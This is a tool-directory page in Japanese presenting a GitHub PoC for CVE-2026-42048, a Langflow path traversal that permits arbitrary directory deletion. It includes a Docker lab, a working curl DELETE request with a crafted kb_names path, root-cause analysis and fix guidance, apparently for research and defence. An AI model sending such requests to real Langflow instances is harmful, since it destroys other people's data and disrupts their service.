Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42048 — Langflow 任意のディレクトリ削除 | Kitploit
ツール/GitHubGitHub/eqstlab/cve-2026-42048
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Langflow 任意のディレクトリ削除

リポジトリを見る
23ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42048

CVE-2026-42048 Langflow パストラバーサル / 任意ディレクトリ削除 PoC

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


説明

CVE-2026-42048 : Langflow 任意ディレクトリ削除の脆弱性

説明: Langflow 1.9.0 より前のバージョンにおけるパストラバーサルの脆弱性により、認証された攻撃者が、一括削除エンドポイント DELETE /api/v1/knowledge_bases を通じて、意図された Knowledge Base ストレージパス外のディレクトリを削除できる可能性があります。この問題は、ユーザー制御の kb_names 値が、適切な正規化および包含検証なしにファイルシステムパスの構築に使用されるために発生します。


前提条件

悪用を成功させるには、次の条件が必要です。

  • 対象が脆弱な Langflow バージョン(1.9.0 より前)を実行している。
  • 攻撃者が Knowledge Bases の一括削除エンドポイントに到達できる:
root@kitploit:~
DELETE /api/v1/knowledge_bases
  • 攻撃者が認証されているか、認証された API リクエストを送信できる。公開アドバイザリでは、この問題には低い権限(PR:L)が必要であると説明されています。
  • 攻撃者がリクエストボディパラメータ kb_names を制御できる。
  • Langflow プロセスがターゲットディレクトリを削除するためのファイルシステム権限を持っている。

この脆弱性は、オペレーティングシステムのファイル権限をバイパスするものではありません。Langflow 自身のパス処理および削除ロジックを悪用します。


ラボのセットアップ

Docker を使用して脆弱な環境を構築し実行します。

イメージのビルド

root@kitploit:~
docker build -t cve-2026-42048 .

コンテナの実行

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

ステータスの確認

root@kitploit:~
curl http://127.0.0.1:9101/status

ラボは、使い捨てのターゲットディレクトリを次の場所に作成します。

root@kitploit:~
/target/CVE-2026-42048

/status エンドポイントは、そのディレクトリがまだ存在するかどうかを報告します。


使い方

PoC を使用したエクスプロイト

root@kitploit:~
python3 poc.py

対話的な入力:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

curl を使用したエクスプロイト

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

結果の確認

root@kitploit:~
curl http://127.0.0.1:9101/status

エクスプロイトが成功すると、target_exists が true から false に変わります。


分析

脆弱なエンドポイント

root@kitploit:~
DELETE /api/v1/knowledge_bases

この脆弱性は Langflow の Knowledge Bases 一括削除 API に存在します。影響を受けるハンドラは、kb_names パラメータを通じて Knowledge Base 名のリストを受け入れ、削除のために各値を使用してファイルシステムパスを構築します。

脆弱なバージョンでは、一括削除ロジックは、他の Knowledge Base エンドポイントで使用されるより安全なパス解決ヘルパーを使用せずに、手動でパスを構築します。脆弱なパターンの簡略化した表現は次のとおりです。

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

削除ヘルパーは最終的に、再帰的な削除ロジックでターゲットディレクトリを削除します。kb_name は攻撃者が制御するため、../ のようなパストラバーサルシーケンスは現在のユーザーの Knowledge Base ディレクトリを脱出する可能性があります。Python の pathlib では、右側に絶対パスが指定された場合、以前のパスコンポーネントを上書きすることもできます。

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

その結果、細工された kb_names 値により、Langflow が意図された Knowledge Base ストレージルート外のディレクトリを削除する可能性があります(Langflow プロセスがそのディレクトリを削除する権限を持っている限り)。

これは CWE-22: 制限されたディレクトリへのパス名の不適切な制限 の問題です。

技術的根本原因

根本原因は、再帰的削除の前に行われるユーザー制御のパスコンポーネントの正規化と境界検証が不十分であることです。脆弱な一括削除エンドポイントは、最終パスが存在するかどうかをチェックしますが、解決されたパスが認証されたユーザーの Knowledge Base ディレクトリ内に残っていることを保証しません。

堅牢な修正には以下が必要です。

  • Path.resolve() で最終パスを正規化する
  • 解決されたパスが認証されたユーザーの Knowledge Base ディレクトリ内にあることを確認する
  • 削除前にそのディレクトリを脱出するパスを拒否する

Langflow はこの問題を 1.9.0 で修正しました。

これが重要な理由

任意のディレクトリ削除は、完全性と可用性に直接影響を与える可能性があります。デプロイメントの権限とファイルシステムのレイアウトによっては、攻撃者は次のことを行える可能性があります。

  • 別のユーザーの Knowledge Base データを削除する
  • アプリケーションが所有するディレクトリを削除する
  • Langflow のランタイム状態を混乱させる
  • データ損失やサービス中断を引き起こす

この問題は、悪意のあるコードの実行を必要としなくても有害です。アプリケーション権限による再帰的削除は、データと可用性を損なうのに十分です。


シナリオ

root@kitploit:~
+-------------------------------------------+
|              認証されたユーザー              |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow Knowledge Base API         |
+-------------------------------------------+
                      |
                      | 安全でないパス構築
                      v
+-------------------------------------------+
|   意図されたKBユーザーディレクトリからの逸脱   |
+-------------------------------------------+
                      |
                      | 再帰的なディレクトリ削除
                      v
+-------------------------------------------+
|       任意のディレクトリ削除                 |
+-------------------------------------------+

ラボの注意事項

このラボは、ポート 9101 で小さなチャレンジプロキシを公開します。プロキシは、Langflow の完全な UI と直接のバックエンドポートを隠し、この演習に必要な最小限の脆弱な API パスのみを転送します。

ラボのターゲットディレクトリは次のとおりです。

root@kitploit:~
/target/CVE-2026-42048

/status エンドポイントを使用して、ターゲットディレクトリが削除されたことを確認できます。


クリーンアップ

root@kitploit:~
docker stop cve-2026-42048

免責事項

このリポジトリは、Langflow インスタンスの不正な悪用を促進することを意図していません。このプロジェクトの目的は、セキュリティ研究者、防御者、開発者が脆弱性を理解し、管理された環境での露出を検証し、効果的な緩和策を適用するのを支援することです。


参考文献

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow

ツールをダウンロード